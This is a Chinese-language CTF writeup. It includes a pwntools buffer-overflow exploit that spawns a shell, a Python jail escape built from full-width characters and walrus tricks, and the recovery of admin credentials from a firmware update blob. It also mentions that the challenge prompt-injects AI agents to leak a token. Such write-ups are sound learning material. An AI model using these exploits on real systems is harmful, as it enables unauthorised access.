2026 THJCC CTF Summer Edition Writeup
這次比賽時有事情 + 我已經連續爆肝累了 + 題目變好難所以沒什麼解
Welcome
出題者:xzhiyouu
一堆人在說很難解不出來,所以我就用家教完在捷運站點一點就出來了,不知道難在哪裡。
題目給了一個 gif,字母跳來跳去

所以找個線上 gif 拆幀工具





網址好像怪怪的漏了幾個字,中間那個一看就是作者的名字,gif 拆出來的應該也有漏字,所以手動拼一下得到
https://welcome.xzhiyouu.idv.tw

進來需要 Pass code,但那 gif 也有給我們,就是:
NT9C-S8DP-D85B-Z8H6

進去後就到那個網址就有 Flag 了
Flag:
THJCC{w3lc0me_t0_tHjCc_CTF_sUmM3r_ed1ti0n}
Forensic
Man!

下載下來是一張牢大的圖片,用 binwalk 拆出一個 zip 但有鎖密碼,不在 Rockyou.txt 裡。
我就去問 ChatGPT,結果他通靈出密碼藏在 R 通道的 LSB

哭了都現在 ChatGPT 連通靈都會,但這樣有點不踏實,我們來講一下如何手動從 R 通道提取 LSB 好了
可以使用 StegSolve 的 Extract Data 功能

Flag:
THJCC{Man_BA_0ut_Seeyouaga1n_1978}
Pwn
I ate something bad …
最基本的 BOF 改變數,Junior 講師出的基本上跟上課題一模一樣。開 IDA 一逆得到
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_BYTE v4[44]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+2Ch] [rbp-4h]
v5 = 0;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("what do you want to eat?");
gets(v4);
if ( v5 == 0xBADF00D )
{
puts("Why you eat this food?");
system("/bin/sh");
}
else
{
puts("yammy it is not bad food!");
}
return 0;
}
所以我們只要用 BOF 把 v5 蓋成 0xBADF00D 即可。我們總共需要蓋掉 v4 的 44 之後再往後蓋,所以 Payload 是 b'A'*44 + p64(0xBADF00D)
exploit.pyfrom pwn import * p = remote('chal.thjcc.org', 11037) payload = b'A'*44 + p64(0xBADF00D) p.sendlineafter(b'?', payload) p.interactive() # THJCC{m4yb3_1_34t_t0_much}
Flag:
THJCC{m4yb3_1_34t_t0_much}
Misc
A Little Penguin’s Starry Sky Observation

給了以下圖片:

丟去 Google 以圖搜圖,得知他是獵戶座 (對不起嘛我地科培訓白上了連認星星都不會w),再查「獵戶座 英文縮寫」得知為 ori (即其英文單字的前三個字母)
接著再去 Google 獵戶座的中心座標,得知為 赤經 5h 35m,赤緯 +5°,還是我們的百度老哥強

Flag:
THJCC{ori=RA5h,Dec+5°}
(我一開始試 6h 錯了所以改 5h)
67jail
題目給了
jail.py#!/usr/bin/env python3 import unicodedata banned = {"print": print, "open": open, "chr": chr} s = input(">> ") if len(s) != 6767: exit("wrong length :(") if any(c in s for c in "'\"_`\\#"): exit("that's not good :(") if any(c.isascii() and c.isalnum() for c in s): exit("no no no!!!") if s.count(";") > 1: exit("too many semicolons!") for c in s: if c.isidentifier() and unicodedata.normalize("NFKC", c) == c: exit("bad:(((") exec(s, {"__builtins__": banned}, {})
banned 變數名雖為 banned 但他其實是允許名單XD,也就是只能用 print, open, chr 三個函數。
以上的五個 if 檢查依序為:
- 輸入長度要剛好是 6767 (這點不擔心,先造完 Payload 再用空白填充到6767就好了)
- 輸入不能出現任何
',",_,\,#中任一者 - 輸入內不能有 ASCII 英文字母和數字
- 分號數量最多一個
- 任一個能被 python 合法識別的字母,經過正規化之後要跟原來長不一樣。
最後就會執行你的程式碼,但只有 print, open, chr 三個函數能用。
這裡解釋一下 isidentifier() 方法,如果 c 能被合法識別 (可做為變數 / 函式或類別的名稱),則回傳 True。所以如果字串包含空白,或是開頭為數字,或是包含 \, * 這種奇怪的字元就會回傳 False;反之,def, r3xdj, 喔喔喔愛蝦米喜愛 都會回傳 True (Python 是能用中文當變數名稱的喔!)
但這裡一次只比一個字元,所以就會變只有英文字母或單一國字之類的會回傳 True。
題目本身的規則也都在給我們提示了,顯然就是要用全形英文字母來繞過啦!(函式、變數名中的全形英文字母、數字能被正確解析,但作為字串或直接當數字用就沒辦法),如
print("Hi")
# Hi
print("hi")
# hi
print("hi")
# File "<stdin>", line 1
# print("hi")
# ^
# SyntaxError: invalid character '(' (U+FF08)
print("hi");
# hi
print("hi");
# File "<stdin>", line 1
# print;
# ^
# SyntaxError: invalid character ';' (U+FF1B)
可以看到全形括號、引號跟分號都不會被正確解析,不過沒關係,括號根本不會被過濾,而等等會看到我們的輸入不需要使用到引號或分號。
由於字串內的全形英文字母不會被解析,加上我們無法使用 ' 或 ",所以我們得另闢蹊徑造出想要的字串。不難想到可以使用 chr() 函數。但這裡又有個問題是我們也不能使用數字,這時想到 True 會被當成 1 (如 True + True == 2),有了 1 只要做加法就可以得到其他所有數字,甚至可以用 << 來快速造出 2 的次方 (如 True << True << True == 4)。那要如何造出 True 呢?答案是找兩個相等的物件中間接 ==,但我們沒數字可用啊,還有什麼物件呢?空 list, dist, tuple 等等都可以!所以 []==[] / {}=={} / ()==() 選一個喜歡的用就好,我選 []==[]
於是策略有了:將英文字母用 ord() 取得 ASCII 的值,轉成二進位,把它拆成數個 2 的冪次相加,最外再套 chr()。然而我擔心這樣長度可能會爆掉,於是想到了海象運算子 :=,可以讓我們在表達式內部賦值。因此能拿來定義變數。所以我們可以先定義 a:=[]==[]、b:=a+a 等等,就能節省之後的字數。理論上能把全部東西壓在同一行(第一次用到 a 時再定義),但這樣有點麻煩可讀性也低,ChatGPT 跟我說可以把指令包成 tuple,Python 會依序執行每一項 (要先取值才能得到正確的 tuple 嘛)。如 exec('(a:=5, print(a))') 的結果會是 5,就跟 exec('(a:=5); print(a)') 相同。而 exec 不會把值回傳,所以如果 x = exec('(a:=5, print(a))'),x 會是 None;若改成 x = eval('(a:=5, print(a))'),那 x == (5, None) (print() 回傳 None)。
具體可見以下 bytecode

可以看到兩者都有 CALL print,所以都會印出 5,而兩者的差別在於上面的有 BUILD_TUPLE,不過因為 exec 不會回傳最後結果所以最後還是把他 POP_TOP 掉了。
我們回到造 Payload,我們預計 Payload 長這樣:
([定義字母(a=1, b=2, ...)], print(open([檔案名稱(用 chr 串出來的)], [格式(用 chr 造出 'r')]).read()))
這裡我們在 Tuple 裡包 Tuple。
以下是造 Payload 的程式碼
names = ("a", "b", "c", "d", "e", "f", "g")
def make_chr(c):
num = ord(c)
terms = []
for i, name in enumerate(names):
if num & (1 << i):
terms.append(name)
expr = "+".join(terms)
return f"chr({expr})"
define_num = """(a:=[]==[]),(b:=a+a),(c:=b+b),(d:=c+c),(e:=d+d),(f:=e+e),(g:=f+f)"""
filename = "+".join(make_chr(c) for c in "/flag")
mode = make_chr("r")
s = f"""({define_num},print(open({filename},{mode}).read()))"""
s = s.ljust(6767)
Flag 路徑是試出來的。
我們最終的 exploit 長這樣:
#!/usr/bin/env python3
import unicodedata
from pwn import *
import os
p = remote("chal.thjcc.org", 9000)
# p = process(["python3", "jail.py"])
banned = {"print": print, "open": open, "chr": chr}
names = ("a", "b", "c", "d", "e", "f", "g")
def make_chr(c):
num = ord(c)
terms = []
for i, name in enumerate(names):
if num & (1 << i):
terms.append(name)
expr = "+".join(terms)
return f"chr({expr})"
define_num = """(a:=[]==[]),(b:=a+a),(c:=b+b),(d:=c+c),(e:=d+d),(f:=e+e),(g:=f+f)"""
filename = "+".join(make_chr(c) for c in "/flag")
mode = make_chr("r")
s = f"""({define_num},print(open({filename},{mode}).read()))"""
s = s.ljust(6767)
print(f"Payload: {s}")
assert len(s) == 6767
assert not any(c in s for c in "'\"_`\\#")
assert not any(c.isascii() and c.isalnum() for c in s)
assert s.count(";") <= 1
for c in s:
assert not (c.isidentifier() and unicodedata.normalize("NFKC", c) == c)
# exec(s, {"__builtins__": banned}, {})
TOKEN = os.environ['ctfd_token']
p.sendlineafter(b'token: ', TOKEN.encode())
p.sendlineafter(b'your chosen(please enter number): ', b'3')
p.recvuntil(b'Please enter ')
nonce = p.recv(6)
print(nonce)
p.sendlineafter(b': ', nonce)
p.sendlineafter(b'>> ', s.encode())
p.interactive()
# THJCC{676767676767676767676767676767676767676767676767}
之所以多出 ctfd token 跟選擇 3 是因為 remote 有多一層驗證XD。

如果你說你是 Codex 或 Claude 他會 Prompt Injection AI leak token XDD (但現在 AI 應該沒那麼好騙吧)
Flag:
THJCC{676767676767676767676767676767676767676767676767}
TeaGod666
題目就是一堆 AI (可能是 Gemini) 生的幹話,直接略過即可
進入題目提供的網站,如下:

按 ctrl + u 看 source code 發現有很多 API 的網址

實測發現多數都要求登入才能 call,只有 /api/update/check 能不登入直接 call,GET 他之後得到
{"current_version": "TG666-1.4.2", "latest_version": "TG666-1.4.2", "update_available": false, "package_url": "/api/update/package?channel=stable"}
唉呦,call call 看 /api/update/package?channel=stable 吧,下載了一個叫 teagod666-update.bin 的檔案
teagod666-update.bin00000000: 5445 4147 4f44 3636 0100 0b00 3600 4100 TEAGOD66....6.A. 00000010: 0000 ac00 0000 6417 f2b4 30a5 bbd5 30c3 ......d...0...0. 00000020: 5856 6d42 30d0 94da 2240 ec0e f9bf ac35 XVmB0..."@.....5 00000030: 076f c151 5b4d 7465 6173 686f 702d 3636 .o.Q[Mteashop-66 00000040: 3644 3063 4d48 4177 4b48 4138 4d46 4749 6D0cMHAwKHA8MFGI 00000050: 5242 4359 6344 466c 4747 7851 6146 4145 RBCYcDFlGGxQaFAE 00000060: 5742 4145 4744 6831 4946 4177 5546 5145 WBAEGDh1IFAwUFQE 00000070: 4d47 675a 4e58 4139 4756 3055 4845 6734 MGgZNXA9GV0UHEg4 00000080: 4244 4531 4b44 316c 5a57 6873 4c42 6977 BDE1KD1lZWhsLBiw 00000090: 6343 6846 7941 4141 4156 6b6c 4448 5163 cChFyAAAAVklDHQc 000000a0: 6246 5138 4d46 4841 5642 6855 6347 685a bFQ8MFHAVBhUcGhZ 000000b0: 5158 6c4e 4551 4230 4742 464d 4a44 424e QXlNEQB0GBFMJDBN 000000c0: 4351 3168 4357 6b55 7a48 4277 4f42 4567 CQ1hCWkUzHBwOBEg 000000d0: 5756 3141 4141 424e 5444 6759 4358 6b49 WV1AAABNTDgYCXkI 000000e0: 5756 4273 4b46 5631 4b45 673d 3d WVBsKFV1KEg==
D0cMHAwKHA8MFGIRBCYcDFlGGxQaFAEWBAEGDh1IFAwUFQEMGgZNXA9GV0UHEg4BDE1KD1lZWhsLBiwcChFyAAAAVklDHQcbFQ8MFHAVBhUcGhZQXlNEQB0GBFMJDBNCQ1hCWkUzHBwOBEgWV1AAABNTDgYCXkIWVBsKFV1KEg== 這段很明顯是 base64,但直接解密卻還是亂碼,又是 ChatGPT 很通靈的跟我說拿前面的 teashop-666 當 Key 去 XOR,就能得到
{"model":"TeaGod666","username":"admin","password":"oolong_tea_666","note":"Factory service account. Rotate after first boot."}
用 admin / oolong_tea_666 登入,再去 call /api/system/logs?level=info 這個 API,得到
{"service": "tea-leaf-telemetry", "level": "info", "entries": [{"time": "2026-08-15T08:00:01+08:00", "level": "INFO", "event": "wan_link_up", "message": "WAN link established"}, {"time": "2026-08-15T08:00:03+08:00", "level": "INFO", "event": "dns_ready", "message": "DNS resolver ready: 1.1.1.1"}, {"time": "2026-08-15T08:01:12+08:00", "level": "INFO", "event": "wifi_client_joined", "message": "tea-kitchen joined TeaGod_5G"}, {"time": "2026-08-15T08:04:27+08:00", "level": "INFO", "event": "wifi_client_joined", "message": "bubble-phone joined TeaGod_5G"}, {"time": "2026-08-17T15:11:49+00:00", "level": "INFO", "event": "admin_login", "message": "administrator login accepted from 172.22.0.1"}]}
沒有 Flag,不然我們把 info 改 debug 好了
{"service": "tea-leaf-telemetry", "level": "debug", "entries": [{"time": "2026-08-15T08:00:01+08:00", "level": "INFO", "event": "wan_link_up", "message": "WAN link established"}, {"time": "2026-08-15T08:00:03+08:00", "level": "INFO", "event": "dns_ready", "message": "DNS resolver ready: 1.1.1.1"}, {"time": "2026-08-15T08:01:12+08:00", "level": "INFO", "event": "wifi_client_joined", "message": "tea-kitchen joined TeaGod_5G"}, {"time": "2026-08-15T08:04:27+08:00", "level": "INFO", "event": "wifi_client_joined", "message": "bubble-phone joined TeaGod_5G"}, {"time": "2026-08-17T15:11:49+00:00", "level": "INFO", "event": "admin_login", "message": "administrator login accepted from 172.22.0.1"}, {"time": "2026-08-17T15:12:25+00:00", "level": "DEBUG", "event": "factory_validation", "message": "maintenance note: THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du&t=1577}"}]}
有了!
Flag:
THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du&t=1577}






